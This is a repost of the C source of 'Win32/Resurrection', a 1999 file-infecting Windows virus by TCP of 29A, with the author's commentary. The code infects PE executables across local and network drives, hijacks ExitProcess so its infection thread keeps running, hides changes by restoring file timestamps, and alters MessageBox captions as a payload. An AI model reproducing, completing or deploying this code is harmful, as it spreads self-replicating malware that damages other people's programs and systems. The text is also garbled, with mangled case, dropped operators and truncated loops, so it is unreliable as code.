Please note that the code is not all, I believe that you can understand ^ _ ^
//// Win32 / resurrection //// Coded in late june'99 / july'99 / [vx vacations] / decEmber'99 //// (c) 1999 TCP / 29A (tcp@cryogen.com) ///// // this is my 1st Windows Virus (at last :) and the first code code by /// in the last 2 years.//// IS a pe memory resident appending virus full written in c.// i think it's First Virus Written In C That Doesn't change // IT Could Be Also The 1st Resident Virus for also the 1st resident Virus for alpha machines running // nt. if you can compile and test it in alpha, please send me a mail. ///// - IT Creates a Low Priority Thread this searchs and infects files.// - it add it // code / data and fixes the Relocs then the virus needs always // its own reloc section) .// It imports the host import section, replacing the ExitProcess // call to ExitThread; then the virus will be the main thread and // it can continue searching for files even when Host Has Finnished.// - if The File's Last Section IS T he reloc section, the virus // joins this section with its reloc section so if the file is // not loaded at its preferred address the system will reloc it // and the virus.//// The virus is called Resurrection because it's My Resurrection In // The vx scene.//nfortunately, i hadn't time to code the resURRECTION payload: // use Ole Automation and the c: /class.sys from W97m / Class (OR // the one from ethan) it could resurrect the virus.// Then I coded a simple payload that changes the captions in // MessageBoxes used by the host.// // Sorry for the obfuscated C and poorly optimized code, but it // works (i hope) And, Hey, It's a virus:) /// This Virus is Dedicated to Jacky QWERTY, WE '
Ll Miss You. And to // 29aers for Don't kicking a lazy and improductive member as I am;) //// Well, Now I Got Another 2 Years Credit Hahaha (not!) //// TCP.// /// Includes / # include
/// defines /
#define memalloc (x) Globalalloc (gptr, x) #define memfree (x) GlobalFree (x)
/// Type Definitions /
Typedef struct {Word Relocofs: 12; Word Relocation_Data;
// GlobalsIMAGE_NT_HEADERS PEHeader; IMAGE_DOS_HEADER * IDosHeader; IMAGE_NT_HEADERS * IPEHeader; IMAGE_SECTION_HEADER * ISection; IMAGE_SECTION_HEADER * Section = NULL; int Generation = 1; int VirusSections = 0; int FirstVirusSection = 0; int VirusCodeSection = 0; int VirusImportSection = 0; DWORD VirusImportSize = 0; DWORD VirusRVAImports = 0; DWORD HostRVAImports = 0; int VirusRelocSection = 0; DWORD VirusRelocSize = 0; DWORD VirusRelocSizeDir = 0; DWORD OfsSections = 0; DWORD VirusBaseRVA = 0; DWORD VirusEP = 0; DWORD HostEP = 0;
FIX for Visual C 5.0 Heap // Extern __small_block_heap;
//// functions //
/// GetProcaddress for Ordinal Imports / DWORD GETPROCADDRESSORD (DWORD BASE, DWORD NFUNC) {image_nt_headers * dllheader; image_export_directory * exports; DWORD * AddrFunctions
DLLHeader = (IMAGE_NT_HEADERS *) (Base ((IMAGE_DOS_HEADER *) Base) -> e_lfanew); Exports = (IMAGE_EXPORT_DIRECTORY *) (Base DLLHeader-> OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_EXPORT] .VirtualAddress); AddrFunctions = (DWORD *) ( Base exports-> addressoffunctions; return base addrfunctions [nfunc - exports-> base];
/// Check file and read pe header // int ready // file * fhandle) {image_dos_header fileheader; Word Sizesement; DWORD BYTESREAD
return (// Read file header (ReadFile (FHandle, & FileHeader, sizeof (IMAGE_DOS_HEADER), & BytesRead, NULL)) && (BytesRead == sizeof (IMAGE_DOS_HEADER)) && // Check if EXE file (FileHeader.e_magic == IMAGE_DOS_SIGNATURE) && // Seek to NewExe header (SetFilePointer (FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN)! = (DWORD) -1) && // Read header (ReadFile (FHandle, & PEHeader, sizeof (IMAGE_NT_HEADERS), & BytesRead, NULL)) && (BytesRead == sizeof (IMAGE_NT_HEADERS)) && // Check if PE file (PEHeader.Signature == IMAGE_NT_SIGNATURE) && // Alloc memory for file sections virus sections ((SizeSections = (PEHeader.FileHeader.NumberOfSections VirusSections) * sizeof (Image_section_header)))))) && ((section = memalloc (sizesections))! = Null) && ((forssections = setfilepointer (fhandle, 0, null, file_current)) && // read pe subjects (Readfil e (FHandle, Section, SizeSections, & BytesRead, NULL)) && (BytesRead == SizeSections) && // Check if there is enough room for our sections ((SetFilePointer (FHandle, 0, NULL, FILE_CURRENT) (VirusSections * sizeof ( IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders) && // Only infect when entry point belongs to 1st section // Avoid reinfections and compressors (usually perform virus checks) (PEHeader.OptionalHeader.AddressOfEntryPoint Section [0] .SizeOfRawData) && // Skip DDLs (! (PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL)) && // Skip files with overlays or not aligned to file alignment (SetFilePointer (FHandle, 0, NULL, FILE_END) == Section [PEHeader.FileHeader.NumberOfSections-1] .PointerToRawData Section [PEHeader.FileHeader.NumberOfSections-1] .SizeOfRawData) && // Check if the host will overwrite our code with its unitialized data (not present in disk) (Section [ PEHeader.FileHeader.NumberOfSections-1] .Misc.VirtualSize <= Section [PEHeader.FileHeader.NumberOfSections-1] .SizeOfRawData));} ///// Translates a RVA into a file offset /// DWORD RVA2Ofs (DWORD rva ) {int nSect; nSect = 0; while (nSect <(PEHeader.FileHeader.NumberOfSections - 1)) {if ((Section [nSect] .VirtualAddress Section [nSect] .SizeOfRawData)> = rva) break; nSect ;} Return (Section [NSECT] .PointertorawData (RVA - Section [nsect] .virtualaddress);} // I can not remember what this function doesvoid InfectFile (HANDLE FHandle) {BYTE * Relocations = NULL; BYTE * HostRelocs = NULL; BYTE * Ptr; IMAGE_BASE_RELOCATION * RelocBlock; IMAGE_RELOCATION_DATA * PtrReloc; int j; // let's do some initializations section = null; reelocations = null; hostrelocs = null; ptr = NULL; IF (more) {dWord section; int hostnsections; dword hostrelocssize; dword bytesread; int i; Hostep = peheader.optionalHeader.AddressofentryPoint; hostns = peheader.fileHeader.Numberofsections HostRVAImports = PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_IMPORT] .VirtualAddress; // Search for victim import section for (i = 0; i // Check if last section is .reloc HostRelocsSize = 0; if (PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_BASERELOC] .VirtualAddress == Section [HostNSections-1] .VirtualAddress) {// Then we'll join it to virus reloc section VirusBaseRVA = SectionRVA = Section [HostNSections-1] .VirtualAddress; if ((HostRelocs = (BYTE *) MEMALLOC ((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_BASERELOC] .Size))) == NULL) {goto L_Exit_Infect;} else / / Read the .reloc section {HostNSections--; SetFilePointer (FHandle, Section [HostNSections] .PointerToRawData, NULL, FILE_BEGIN); ReadFile (FHandle, HostRelocs, HostRelocsSize, & BytesRead, NULL); SetFilePointer (FHandle, Section [HostNSections] .PointerToRawData , Null, file_begin;}} else // there is no .reloc or it is not the last section {ix (peheader.optionalheader.dataDirectory [image_directory_entry_basereeloc] .virtua ! LAddress = 0) {// There are relocs but we did not find them, so exit goto L_Exit_Infect;} VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage; SetFilePointer (FHandle, 0, NULL, FILE_END);} FirstVirusSection = HostNSections; // Add virus section table CopyMemory (& Section [HostNSections], & ISection [0], sizeof (IMAGE_SECTION_HEADER) * VirusSections); // Reloc virus code & fix reloc sections if ((Relocations = MEMALLOC ((VirusRelocSize> 0x1000 ?) VirusRelocSize: 0x1000)) == NULL) // Minimun a page {goto L_Exit_Infect;} CopyMemory (Relocations, (BYTE *) ((DWORD) IDosHeader ISection [VirusRelocSection] .VirtualAddress ISection [VirusRelocSection] .Misc.VirtualSize - virusrelocsize, varusrelocsize; relocblock = (image_base_relocation *) Relocations; ptrreloc = (image_relocation_data *); // Reloc All Virus Sections and Write Them To Disk for (i = 0; I Section [HostNSections i] .PointerToRawData = SetFilePointer (FHandle, 0, NULL, FILE_CURRENT); Section [HostNSections i] .VirtualAddress = SectionRVA; Section [HostNSections i] .SizeOfRawData = (ISection [i] .SizeOfRawData PEHeader. OptionalHeader.FileAlignment-1) & (- (long) PEHeader.OptionalHeader.FileAlignment); if (i == VirusRelocSection) // Virus reloc section {PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_BASERELOC] .VirtualAddress = SectionRVA; PEHeader.OptionalHeader?. DataDirectory [IMAGE_DIRECTORY_ENTRY_BASERELOC] .Size = HostRelocsSize VirusRelocSize; Section [HostNSections i] .Misc.VirtualSize = HostRelocsSize VirusRelocSize; Section [HostNSections i] .SizeOfRawData = (HostRelocsSize VirusRelocSize (PEHeader.OptionalHeader.FileAlignment - 1)) & (- (long) peheader.optionalHeader.FileAlignment; // Write Host Relocations Writefile (Fhandle, Hostrelocs, Hostrelocssize, & Bytesread, NULL); // AD d virus relocations WriteFile (FHandle, Relocations, VirusRelocSize, & BytesRead, NULL); // Fill with zeros until file alignment memset (Relocations, 0, 0x1000); WriteFile (FHandle, Relocations, Section [HostNSections i] .SizeOfRawData - (HostRelocsSize Virusrelocsize, & bytesread, null;} else {ix ((ptr = (byte *) MEMALLOC (ISECTION [i] .sizeofrawData) == null) {goto l_exit_infect;} copymemory (PTR, (byte *) DWORD) IDOSHEADER ISECTION [I] .virtualaddress, ISECTION [i] .sizeofrawdata); // Patch Visual C 5.0 heap in .data section / * {DWORD * PtrHeap = & __ small_block_heap; if (((DWORD) IDosHeader ISection [i] .VirtualAddress <(DWORD) PtrHeap) ((DWORD) IDosHeader ISection [i && ] .Virtualaddress ISECTION [i] .sizeofrawdata> (dword) ptrheap) {ptrheap = (dword *) (PTR PTRHEAP - (DWORD) iDOSHeader - ISECTION [i] .virtualaddress; ptrHeap [3] = PtrHeap [2]; PtrHeap [4] = PtrHeap [5] = (dword) -1;}} * / // do relocations in this section while ((ISECTION [i] .virtualaddress ISECTION [i] .sizeofrawData> relocblock -> Virtualaddress && (DWORD) PTRRELOC <(DWORD) RELOCATIONS VIRUSRELOCSIZEDIR) {DWORD BASE Base = RelocBlock-> VirtualAddress - ISection [i] .VirtualAddress; RelocsInBlock = (RelocBlock-> SizeOfBlock - sizeof (IMAGE_BASE_RELOCATION)) / sizeof (IMAGE_RELOCATION_DATA); while (RelocsInBlock--) {if (PtrReloc-> RelocType == IMAGE_REL_BASED_HIGHLOW) {* (DWORD *) & PTR [Base Ptrreloc-> Relocofs] - = (IpeHeader-> OptionalHeader.ImageBase ISECTION [i] .virtualaddress); // RelocBlock-> Virtualaddress; * ((DWORD *) & PTR [Base PtrReloc-> RelocOfs]) = (PEHeader.OptionalHeader.ImageBase SectionRVA);} PtrReloc ;} RelocBlock-> VirtualAddress = RelocBlock-> VirtualAddress - ISection [i] .VirtualAddress SectionRVA; RelocBlock = (IMAGE_BASE_RELOCATION *) PTRRELOC; PTRRELOC = (image_relocation_data *) ((byte *) RelocBlock sizeof (image_base_relocation);} // check if this is the import section if (i == virusimportsection) {image_i MPORT_DESCRIPTOR * IMPORTS; image_thunk_data * dataimports; dword startimports; DWORD DELTARVAS; DeltaRVAs = SectionRVA - ISection [i] .VirtualAddress; StartImports = IPEHeader-> OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_IMPORT] .VirtualAddress - ISection [i] .VirtualAddress; Imports = (IMAGE_IMPORT_DESCRIPTOR *) & Ptr [StartImports]; while (Imports-> OriginalFirstThunk) {// Fix some initialized fields in memory Imports-> TimeDateStamp = Imports-> ForwarderChain = 0; Imports-> OriginalFirstThunk = DeltaRVAs; Imports-> Name = DeltaRVAs; Imports-> FirstThunk = DeltaRVAs; DataImports = (IMAGE_THUNK_DATA * ) & Ptr [Imports-> OriginalFirstThunk - SectionRVA]; do {DataImports-> u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *) ((DWORD) DataImports-> u1.AddressOfData DeltaRVAs);} while (( DataImports) -> u1. AddressofData); Imports ;}} WriteFile (FHandle, Ptr, Section [HostNSections i] .SizeOfRawData, & BytesRead, NULL); MEMFREE (Ptr); Ptr = NULL;} SectionRVA = (Section [HostNSections i] .Misc.VirtualSize (PEHeader.OptionalHeader. SectionAlignment - 1)) & (- (long) PEHeader.OptionalHeader.SectionAlignment);} // for // Recalculate Header fields PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT] .VirtualAddress = 0; PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT] .Size = 0; PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_IAT] .VirtualAddress = 0; PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_IAT] .Size = 0; PEHeader.OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_IMPORT] .VirtualAddress = VirusRVAImports Section [HostNSections VirusCodeSection] .VirtualAddress : Peheader.optionalHeader.DataDirectory [image_directory_entry_import] .size = ipeheader-> optionalheader.dataDirectory [image_directory_entry_ IMPORT] .Size; PEHeader.OptionalHeader.SizeOfImage = SectionRVA; PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP Section [HostNSections VirusCodeSection] .VirtualAddress; PEHeader.FileHeader.NumberOfSections = HostNSections VirusSections; PEHeader.OptionalHeader.SizeOfCode = 0; PEHeader. OptionalHeader.SizeOfInitializedData = 0; PEHeader.OptionalHeader.SizeOfUninitializedData = 0; for (j = 0; j if (Section [j] .Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) PEHeader.OptionalHeader.SizeOfInitializedData = Section [j] .SizeOfRawData; if (Section [j] .Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) PEHeader.OptionalHeader.SizeOfUninitializedData = Section [j] .SizeOfRawData; } // Write new header and section table SetFilePointer (FHandle, OfsSections - sizeof (IMAGE_NT_HEADERS), NULL, FILE_BEGIN); WriteFile (FHandle, & PEHeader, sizeof (IMAGE_NT_HEADERS), & BytesRead, NULL); WriteFile (FHandle, Section, PEHeader.FileHeader .NumberOfSections * sizeof (IMAGE_SECTION_HEADER), & BytesRead, NULL);} L_Exit_Infect:! // Free allocated memory if (HostRelocs = NULL) MEMFREE (HostRelocs); if (Relocations = NULL) MEMFREE (Relocations); if (Section =!! NULL) Memfree (section); if (ptr! = Null) MEMFREE (PTR);} //// Recursively Search for Files To Infect /// Void Searchfiles (Char * Path) {Handle FindHandle; Handle Fhandle; Win32_Find_Data FindResult; Filetime Time1, Time2, Time3; if (SetCurrentDirectory (Path)) {// Search for EXE files in current directory if (! (FindHandle = FindFirstFile ( ". * EXE", & FindResult)) = INVALID_HANDLE_VALUE) {do {FHandle = CreateFile (FindResult.cFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL);! if (FHandle = INVALID_HANDLE_VALUE) {GetFileTime (FHandle, & Time1, & Time2, & Time3); // Get file time InfectFile (FHandle); // Infect file SetFileTime (FHandle, & Time1, & Time2, & Time3); // Restore file time CloseHandle (FHandle);}} while (FindNextFile (FindHandle, & FindResult));} FindClose (FindHandle); // Now search for subdirectories and process them if ((FindHandle = FindFirst File ( "*", & FindResult)) = INVALID_HANDLE_VALUE) {do {if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {char * DirName;! DirName = _strupr (_strdup (FindResult.cFileName)); if ((memcmp (DirName, "SYSTEM ", 6)) // Skip system ?? && (FindResult.cfileName [0]! = ') // skip loops with". "And" .. ") {searchfiles (FindResult.cfilename);} Free Dirname);}} while (FindNextFile (FindHandle, & FindResult);} findclose (FindHandle);}} /// Search Fixed and Network Drives DrivesDrives () {DWORD DRIVES; BYTE CURRENTDRIVE [] = "A: //"; DWORD driveType; Byte I; Drives = getLogicalDrives (); for (i = 0; I //// ///////////////// 's uint type = {char * msgs [] = {"hey you, stupid", "Win32 / Resurrature By TCP / 29A", " Warning! Don't close this window, "i already told you this but ..."}; static int i = 0; Return Messageboxa (HWND, Text, MSGS [ I & 3], TYPE); // simulated host for 1st generationvoid gen1 () {mymessagebox (null, "", null, mb_ok); // Virus Entry Pointvoid main () {BYTE InfectedFile [_MAX_PATH]; DWORD ThreadID; DWORD ThreadInfID; HANDLE HThread; HANDLE InfThread; int i; HMODULE * HandleDLL = NULL; int ImportedDLLs = 0; // Get the infected filename GetModuleFileName (NULL, InfectedFile, sizeof (InfectedFile)); // And its memory address IDosHeader = (IMAGE_DOS_HEADER *) GetModuleHandle (InfectedFile); IPEHeader = (IMAGE_NT_HEADERS *) ((BYTE *) IDosHeader IDosHeader- > E_LFANEW); if (IPEHeader-> Signature == IMAGE_NT_SIGNATURE) // Check if we got the PE header {// Get ptr to Sections ISection = (IMAGE_SECTION_HEADER *) ((BYTE *) IPEHeader sizeof (IMAGE_NT_HEADERS)); // Get ptr to virus Sections ISection = FirstVirusSection; if (Generation == 1) {// Make some easy 1st-gen calcs to avoid complex ones in next generations HostEP = (DWORD) Gen1 - (DWORD) IDosHeader; VirusSections = IPEHeader-> FileHeader. NumberOfSections; // Number of sections // Get the order of sections for (i = 0; i } Else {if (ISection [i] .VirtualAddress == IPEHeader-> OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_BASERELOC] .VirtualAddress) {// This is the reloc section VirusRelocSection = i; VirusRelocSize = ISection [i] .Misc.VirtualSize; VirusRelocSizeDir = IPEHeader-> OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_BASERELOC] .Size;}}}} // for} else // Not first generation {IMAGE_IMPORT_DESCRIPTOR * HostImports; int i; HostImports = (IMAGE_IMPORT_DESCRIPTOR *) (HostRVAImports (DWORD) IDosHeader); / / Count imported DLLs while (HostImports-> OriginalFirstThunk) {ImportedDLLs ; HostImports ;} HandleDLL = (HMODULE *) MEMALLOC (ImportedDLLs * sizeof (HMODULE)); // Make host imports HostImports = (IMAGE_IMPORT_DESCRIPTOR *) (HostRVAImports (DWORD) Idosheader; for (i = 0; i Memfree (Handledll); Sprintf (STERROR, "CAN NOT FIND% S" (LPCTSTR) (Hostimports-> Name (DWORD) iDOSHEADER); MessageBox (Null, STERROR, "Error Initializing Program, MB_ok | MB_ICONWARNING); EXITPROCESS (0); // Perform host imports FunctionName = (DWORD *) (HostImports-> OriginalFirstThunk (DWORD) IDosHeader); FunctionAddr = (DWORD *) (HostImports-> FirstThunk (DWORD) IDosHeader); while (* FunctionName) {if (* FunctionName & IMAGE_ORDINAL_FLAG) {// Windows does not like ordinal imports from kernel32, so use my own GetProcAddress * FunctionAddr = GetProcAddressOrd ((DWORD) HandleDLL [i], IMAGE_ORDINAL (* FunctionName));} else {Name = (LPCTSTR) (DWORD) iDOSHEADER * FUNCTIONNAME 2 / * hint * /); // Change EXITPROCESS BY EXITTHREAD IF (! Strcmp (Name, "EXITPROCESS")) Name = Stexitthread; // set payage if (! Strcmp (Name, "MessageBoxa")) * FunctionAddr = (DWORD) & myMessageBox; else * functionAddr = (dword) getProcadDress (Handledll [i], name);} FunctionName ; FunctionAddr ;} Hostimports ;}} HostEP = (DWORD) IDosHeader; // Exec host with a thread if (! (HThread = CreateThread (0, 0, (LPTHREAD_START_ROUTINE) HostEP, GetCommandLine (), 0, & ThreadID)) = NULL) {HANDLE VirusMutex; // Check if already resident if (((VirusMutex = CreateMutex (NULL, FALSE, "29A"))! = NULL) && (GetLastError ()! = ERROR_ALREADY_EXISTS)) {// Create infection thread InfThread = CreateThread (0, 0, ( LPTHREAD_START_ROUTINE) SearchDrives, NULL, CREATE_SUSPENDED, & ThreadInfID); // Assign a low priority SetThreadPriority (InfThread, THREAD_PRIORITY_IDLE); // Activate it ResumeThread (InfThread); // Wait until infection completed WaitForSingleObject (InfThread, INFINITE); ReleaseMutex (VirusMutex) } // Wait Until Host Thread Finnished WaitforsingleObject (HThread, Infinite);} for (i = 0; i
